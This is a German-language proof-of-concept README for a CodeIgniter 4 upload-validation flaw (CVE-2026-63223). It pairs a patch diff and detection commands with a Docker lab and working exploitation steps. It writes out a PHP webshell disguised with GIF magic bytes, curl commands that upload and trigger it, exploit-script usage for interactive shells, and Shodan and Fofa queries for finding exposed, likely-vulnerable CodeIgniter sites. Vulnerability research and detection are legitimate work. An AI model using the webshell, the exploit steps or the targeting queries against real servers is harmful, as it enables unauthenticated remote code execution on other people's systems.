CVE-2026-63223 PoC — CodeIgniter 4 Datei-Upload RCE

CVSS 9.8 (Kritisch) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Uneingeschränkter Upload von Dateien mit gefährlichem Typ
Behoben in: CodeIgniter 4 v4.7.4
Advisory: GHSA-mmj4-63m4-r6h5

---

Zusammenfassung der Schwachstelle

Die Datei-Upload-Validierungsregeln is_image und mime_in von CodeIgniter 4 prüfen ausschließlich den aus dem Inhalt abgeleiteten MIME-Typ (Magic Bytes), nicht die vom Client übermittelte Dateinamenerweiterung.

Ein nicht authentifizierter Angreifer kann Bild-Magic-Bytes (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) an eine PHP-Webshell voranstellen, sie shell.php nennen, und sie besteht die is_image- oder mime_in-Validierung, während sie eine gefährliche ausführbare Erweiterung behält. Wenn die hochgeladene Datei in einem über das Web erreichbaren Verzeichnis gespeichert wird, erlangt der Angreifer beliebige Remote-Code-Ausführung.

Auslösebedingungen (alle drei müssen erfüllt sein)

1. Die App validiert Uploads mit is_image oder mime_in ohne eine unabhängige Erweiterungsprüfung (ext_in)
2. Die hochgeladene Datei wird unter dem vom Client übermittelten Dateinamen gespeichert (unter Beibehaltung der .php-Erweiterung)
3. Uploads werden in einem über das Web erreichbaren Verzeichnis gespeichert, in dem der Server PHP ausführt

---

Patch-Analyse

Der Fix in v4.7.4 fügt zwei neue Hilfsmethoden hinzu und bindet sie in die Validierungsregeln ein:

is_image — Vorher vs. Nachher

// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — Vorher vs. Nachher

// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

Neue Hilfsmethoden

// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

Wichtige Erkenntnis: Der Fix delegiert an die vorhandenen Methoden Mimes::guessTypeFromExtension() und $file->guessExtension() und fügt eine zweite Validierungsebene hinzu. Uploads ohne Erweiterung (z. B. JavaScript-Blob-Objekte) werden weiterhin akzeptiert.

---

PoC-Komponenten

CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

---

Schnellstart — Docker-Lab

# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

Endpunkte

Endpunkt	Schwachstelle	Validierung
/upload/avatar	VERWUNDBAR	nur is_image
/upload/document	VERWUNDBAR	nur mime_in
/upload/safe	SICHER (Kontrolle)	is_image + ext_in

---

Ausnutzung

Methode 1 — Interaktiv

# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

Methode 2 — Manuell (curl)

# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

Methode 3 — Verschiedene MIME-Tarnungen

# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

---

Warum es funktioniert

Die PHP-Superglobale $_FILES und das UploadedFile-Objekt von CodeIgniter tragen zwei getrennte Informationen:

1. type / getMimeType() — Aus den Magic Bytes der Datei abgeleitet (inhaltsbasiert), vom Browser als Content-Type-Teil des Multipart-Uploads gesendet
2. name / getClientName() — Der ursprüngliche Dateiname vom Client, einschließlich Erweiterung

Vor dem Patch prüften is_image und mime_in nur #1. Ein Angreifer sendet:

Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>

• ✅ is_image sieht image/gif → besteht
• ✅ Datei wird als shell.php gespeichert (Client-Name bleibt erhalten)
• ✅ Apache/PHP-FPM führt .php-Dateien im Uploads-Verzeichnis aus → RCE

Nach dem Patch wird die Erweiterung gegenprüft:

• ❌ hasInvalidImageClientExtension() sieht .php → lehnt ab

---

Erkennung & Hunting

Log- / Forensische Erkennung

Suchen Sie in Ihrem Uploads-Verzeichnis nach PHP-/PHTML-/PHP5-Dateien mit Bild-Magic-Bytes:

# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Shodan-Abfragen

# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Fofa-Abfragen

# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"